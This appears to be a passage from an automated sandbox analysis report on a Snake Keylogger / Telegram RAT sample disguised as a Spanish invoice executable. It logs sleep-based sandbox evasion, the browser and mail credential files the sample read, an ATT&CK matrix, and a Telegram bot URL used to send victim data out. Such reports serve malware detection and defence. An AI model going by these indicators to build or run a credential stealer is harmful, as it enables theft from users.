Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593735	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Window / User API: threadDelayed 1732			Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Window / User API: threadDelayed 8085			Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 4136	Thread sleep count: 1732 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599722s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 4136	Thread sleep count: 8085 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -598032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597669s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597263s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597153s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe TID: 1804	Thread sleep time: -593735s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004055FF
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_004060BA FindFirstFileW,FindClose,	0_2_004060BA
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004055FF
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_004060BA FindFirstFileW,FindClose,	4_2_004060BA

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599722	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597669	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597263	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597153	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 593735	Jump to behavior

Source: Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.00000000074F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	API call chain: ExitProcess graph end node			graph_0-4821
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	API call chain: ExitProcess graph end node			graph_0-4815

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_00403741 GetTempPathW,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,LdrInitializeThunk,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,ShowWindow,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetClassInfoW,GetClassInfoW,GetClassInfoW,RegisterClassW,DialogBoxParamW,LdrInitializeThunk,LdrInitializeThunk,

0_2_00403741

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Process created: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_00405D99 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405D99

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Factura Honorarios 2024-10.exe PID: 5852, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Factura Honorarios 2024-10.exe PID: 5852, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Factura Honorarios 2024-10.exe PID: 5852, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	12 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Factura Honorarios 2024-10.exe	47%	ReversingLabs	Win32.Spyware.Snakekeylogger

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.46	true	false	unknown
drive.usercontent.google.com	142.250.185.193	true	false	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.78	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:928100%0D%0ADate%20and%20Time:%2031/10/2024%20/%2001:29:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20928100%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B91000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/173.254.250.78$	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A5B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false		unknown
